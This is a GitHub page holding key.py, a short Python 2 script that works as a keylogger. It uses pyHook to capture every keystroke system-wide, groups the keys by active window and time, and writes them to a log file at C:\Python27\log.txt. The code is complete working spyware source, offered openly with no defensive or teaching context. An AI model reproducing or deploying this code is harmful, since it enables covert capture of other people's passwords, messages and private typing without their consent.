-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathkey.py
35 lines (30 loc) · 959 Bytes
/
key.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# -*- coding: utf-8 -*-
"""
Created on Tue Nov 17 23:57:51 2015
@author: saptaks
"""
import pyHook, pythoncom, sys, logging
file_log = 'C:\Python27\log.txt'
window_name = ''
time = 0
keylog = ''
def OnKeyboardEvent(event):
global window_name
global time
global keylog
global file_log
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
print event.Time - time
if window_name == event.WindowName and event.Time - time < 10000:
keylog += chr(event.Ascii)
else:
window_name = event.WindowName
time = event.Time
logging.log(10, keylog)
keylog = "Window Name: " + str(window_name) + "::Time: " + str(time) + "::LOG: " + chr(event.Ascii)
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()